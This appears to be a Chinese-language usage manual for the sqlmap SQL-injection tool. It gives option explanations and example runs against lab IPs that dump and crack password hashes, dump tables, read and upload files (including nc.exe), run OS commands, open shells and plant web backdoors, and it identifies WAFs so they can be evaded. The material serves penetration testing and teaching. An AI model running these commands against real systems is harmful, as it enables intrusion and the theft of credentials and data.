sqlmap 手册

sqlmap支持的注入方式

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap 教程

视频:

  1. http://www.youtube.com/user/inquisb/videos
  2. http://www.youtube.com/user/stamparm/videos

blog:

  1. http://unconciousmind.blogspot.com/search/label/sqlmap

显示信息

观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。共有七个等级,默认为1:

  1. 只显示python错误以及严重的信息。
  2. 同时显示基本信息和警告信息。(默认)
  3. 同时显示debug信息。
  4. 同时显示注入的payload。
  5. 同时显示HTTP请求。
  6. 同时显示HTTP响应头。
  7. 同时显示HTTP响应页面。

获取目标方式

使用url链接

参数:-u或者–url

sqlmap -u http://xxx

从Burp或者WebScarab代理中获取日志

参数:-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。
文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1

当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后门加上:443

利用搜索引擎

处理Google的搜索结果
参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:

python sqlmap.py -g "inurl:\".php?id=1\""

处理http请求

http报文中的post

参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

就如上面所示

参数拆分字符

参数:–param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

就如上面所示

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:

  1. web应用需要登陆的时候。
  2. 你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:–user-agent,–random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:–headers

可以通过–headers参数来增加额外的http头

探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
介绍:

等级使用
level 2HTTP cookie 会加入
level 3HTTP User-Agent/Referer会加入
level 5自动破解出cookie 、 XFF等头部注入。

风险等级

参数:–risk

此参数用于指定风险等级,有1~4共4级。

等级使用
level 1默认风险等级为1,此等级在大多数情况下对测试目标无害。
level 2风险等级2添加了基于时间的注入测试
level 3等级3添加了OR测试

值得注意的是若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。因此用户需要能控制风险等级避开有潜在风险的payload。

页面比较

参数:–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。
注入技术

测试是否是注入

参数:–technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

  1. B: Boolean-based blind SQL injection(布尔型注入)
  2. E: Error-based SQL injection(报错型注入)
  3. U: UNION query SQL injection(可联合查询注入)
  4. S: Stacked queries SQL injection(可多语句查询注入)
  5. T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec

当使用基于时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:–union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:–union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。

标志

参数:-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:–current-user
在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:–current-db
返还当前连接的数据库。

当前用户是否为管理用户

参数:–is-dba
判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

$ sqlmap -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

[...]

back-end DBMS: PostgreSQL

[hh:mm:38] [INFO] fetching database users password hashes

do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y

[hh:mm:42] [INFO] using hash method: 'postgres_passwd'

what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]

[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'

do you want to use common password suffixes? (slow!) [y/N] n

[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)

[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'

[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'

database management system users password hashes:

[*] postgres [1]:

password hash: md5d7d880f96044b72d0bba108ace96d1e4

clear-text password: testpass

[*] testuser [1]:

password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

可以看到sqlmap不仅识别出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:–roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
列举一个SQLite的例子:

$ sqlmap -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

列举数据库系统的架构

参数:–schema,–exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
MySQL例子:

$sqlmap -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid        | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column      | Type    |
+--------------+----------+
| date        | datetime |
| blogger_name | text    |
| cid          | int(11)  |
| comment      | text    |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column  | Type    |
+----------+----------+
| date    | datetime |
| browser  | text    |
| cid      | int(11)  |
| hostname | text    |
| ip      | text    |
| referer  | text    |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)      |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。列举一个Microsoft SQL Server例子:

$sqlmap -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4      |
| dbo.users_blob | 2      |
+----------------+---------+

获取整个表的数据
参数:–dump,-C,-T,-D,–start,–stop,–first,–last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。使用-D,-T参数指适定想要获取哪个库的哪个表,不用-D参数时,默认使用当前库。列举一个Firebird的例子:

$sqlmap  -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME  | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu    | ming      |
| 4  | NULL  | nameisnull |
+----+--------+------------+

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数–start 1 --stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs
使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D
–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:

  1. -C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
  2. -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
  3. -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

爆破

暴力破解表名
参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:

  1. MySQL数据库版本小于5.0,没有information_schema表。
  2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
  3. 当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中

用户自定义函数注入

参数:–udf-inject,–shared-lib
你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作

从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把文件上传到数据库服务器中

参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。列举一个MySQL的例子:

$ file /software/nc.exe.packed

/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \

"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]

[hh:mm:29] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003 or 2008

web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727

back-end DBMS: MySQL >= 5.0.0

[...]

do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully

written on the back-end DBMS file system? [Y/n] y

[hh:mm:52] [INFO] retrieved: 31744

[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,

same size as the local file '/software/nc.exe.packed'

运行任意操作系统命令

参数:–os-cmd,–os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。列举一个PostgreSQL的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \

--os-cmd id -v 1

[...]

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: PostgreSQL

[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system

[hh:mm:12] [INFO] the back-end DBMS operating system is Linux

[hh:mm:12] [INFO] testing if current user is DBA

[hh:mm:12] [INFO] detecting back-end DBMS version from its banner

[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist

[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist

[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file

[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file

do you want to retrieve the command standard output? [Y/n/a] y

command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system

do you want to remove UDF 'sys_eval'? [Y/n] y

do you want to remove UDF 'sys_exec'? [Y/n] y

[hh:mm:23] [INFO] database management system cleanup finished

[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can

only be deleted manually

用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:

  1. ASP
  2. ASP.NET
  3. JSP
  4. PHP

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

非交互模式

参数:–batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:–charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:–charset=GBK

爬行网站URL

参数:–crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

[...]
[xx:xx:53] [INFO] starting crawler

[xx:xx:53] [INFO] searching for links with depth 1

[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while

[xx:xx:53] [INFO] searching for links with depth 2

[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:00] [INFO] 42/56 links visited (75%)

[...]

规定输出到CSV中的分隔符

参数:–csv-del
当dump保存为CSV格式时(–dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:–csv-del=";"

DBMS身份验证

参数:–dbms-cred
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

定义dump数据的格式

参数:–dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:--eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]

[hh:mm:01] [INFO] the back-end DBMS is Oracle

[hh:mm:01] [INFO] fetching banner

[hh:mm:01] [INFO] retrieving the length of query output

[hh:mm:01] [INFO] retrieved: 64

17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64

[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: Oracle

banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:–flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:–forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:–fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:–hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

[...]

[xx:xx:14] [INFO] fetching banner

[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)

[xx:xx:15] [INFO] parsed error message: 'pg_query() [function.pg-query]: Query failed: ERROR:  invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in /var/www/sqlmap/libs/pgsql.inc.php on line 35'

[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by

GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

[...]

自定义输出的路径

参数:–output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp

从响应中获取DBMS的错误信息

参数:–parse-errors
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用此参数可以显示出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

[...]

[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.

/sqlmap/mssql/iis/get_int.asp, line 27'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.

/sqlmap/mssql/iis/get_int.asp, line 27'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.

/sqlmap/mssql/iis/get_int.asp, line 27'

[11:12:17] [INFO] target URL appears to have 3 columns in query

[...]

启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

使用指定的Google结果页面

参数:–gpage

默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

测试WAF/IPS/IDS保护

参数:–identify-waf
sqlmap 可以尝试找出 WAF/IPS/IDS 保护,方便用户做出绕过方式。目前大约支持30种产品的识别。例如对一个受到ModSecurity WAF保护的MySQL例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

[...]

[xx:xx:23] [INFO] testing connection to the target URL

[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'

[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'

[xx:xx:23] [DEBUG] page not found (404)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'

[xx:xx:23] [CRITICAL]

WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'.

Please consider usage of tamper scripts (option '--tamper')

[...]
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
